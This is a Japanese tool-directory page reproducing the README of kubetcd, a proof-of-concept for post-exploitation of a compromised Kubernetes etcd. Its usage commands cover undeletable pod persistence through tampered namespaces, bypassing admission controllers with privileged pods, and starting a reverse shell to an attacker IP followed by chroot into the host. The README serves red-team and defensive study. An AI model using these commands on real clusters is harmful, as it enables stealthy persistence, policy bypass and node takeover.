Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/nccgroup/kubetcd
特権昇格コンテナセキュリティ永続化メカニズム横移動ポストエクスプロイトペネトレーションテストコマンド&コントロールレッドチーミング
GitHubnccgroup/kubetcd

kubetcd

侵害されたetcdをポストエクスプロイトし、永続性を獲得してノードへのリモートシェルを取得します。

リポジトリを見る
9472年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Kubetcd


https://github.com/jpbetz/auger のラッパーです。

etcd に直接書き込むことでポッドのデプロイを自動化します。侵害済み etcd のポストエクスプロイテーションのための複数の機能を含みます。

Disclaimer

[!WARNING]
これは PoC であり、本番環境では使用しないでください。etcd に直接書き込むと、不整合やデータ破損が発生する可能性があり、kube-apiserver のロジックが etcd からデータを取得または操作できなくなる可能性があります。複数ノードのテスト環境は KIND でデプロイできます。

Why?

メインのリポジトリである auger は、etcd 内の protobuf エントリをシリアライズ/デシリアライズする主要機能を提供します。Kubetcd は、これらの機能をラップして、通常の kubectl クライアントに etcdctl を近似させる PoC です。侵害された etcd のシナリオでは、kubetcd は改ざんされた特権ポッドを使用して、クラスター内の任意の/すべてのホストへの永続化と特権アクセスを試みます。kubetcd は現在ポッド操作のみをサポートしていることに注意してください。

Requirements

Kubetcd は、etcd サービスに対して認証するための証明書とキーを、以下のデフォルトパスから取得します:

  • /etc/kubernetes/pki/etcd/ca.crt
  • /etc/kubernetes/pki/etcd/server.crt
  • /etc/kubernetes/pki/etcd/server.key (これは root のみが読み取り可能です)

また、デフォルトのエンドポイントは 127.0.0.1:2379 に設定されています。

上記のデフォルト値はすべてパラメータで変更できます。

また、etcd のクライアントである etcdctl がインストールされている必要があります。

root@kitploit:~
sudo apt install etcd-client

Installation

チェックアウトしてビルドします:

root@kitploit:~
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .

Known issues

次のエラーが発生する場合があります:

root@kitploit:~
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)

その場合は、Golang 1.19 で kubetcd をビルドしてください。

auger の主要機能については https://github.com/jpbetz/auger を参照してください。それらの機能は引き続き利用できます。 この README では、ラッパーによって追加された新機能のみを詳しく説明します:


Running kubetcd

root@kitploit:~
./kubetcd -h

Get objects

root@kitploit:~
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>

Create a new pod

templateName は、default 名前空間で実行中のポッドである必要があります:

root@kitploit:~
./kubetcd create pod <name> -t <templateName>

同じ name と templateName の値を設定するだけで、実行中のポッドを上書きできます。

Change the image

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --image <image>

Tamper start time

root@kitploit:~
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"

Persistence through inconsistent data

ETCD は新しいポッドを /registry/pods/<namespace>/<name> に保存しますが、namespace と name フィールドは改ざんされる可能性があります。 そのため、これらのポッドは kubectl で一覧表示できますが、削除はできません。

root@kitploit:~
./kubetcd create pod <name> -t <templateName> -p <randomentry>             
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace

Deploy in a concrete node

任意のノードにワークロードを自由にデプロイします:

root@kitploit:~
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>

Bypass AdmissionControllers

制限された名前空間に特権ポッドをデプロイします。 これにより、PSP、PSA などの組み込みの AdmissionControllers や、OPA Gatekeer や Kyverno のようなカスタムポリシーに基づくその他のポリシーをバイパスします:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P 

-P フラグは、任意のポッドを privileged に設定し、基盤となるノードと network、PID、IPC 名前空間を共有します。

Reverse shell

制限された名前空間に特権ポッドをデプロイし、リモートシェルを取得します:

root@kitploit:~
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>

これにより、デフォルトで多くのイメージに存在するリバース perl シェルが起動します。 リバースシェルを取得したら、chroot /host でルートファイルシステムを変更し、ノードへの完全なアクセスを取得します。

TODO

  • リモートシェルを取得するために perl だけでなく他のバイナリのサポートを追加
  • default 以外の名前空間からテンプレートを使用するサポートを追加
  • corev1 ブランチ以外の要素の作成/取得/削除のサポートを追加
ツールをダウンロード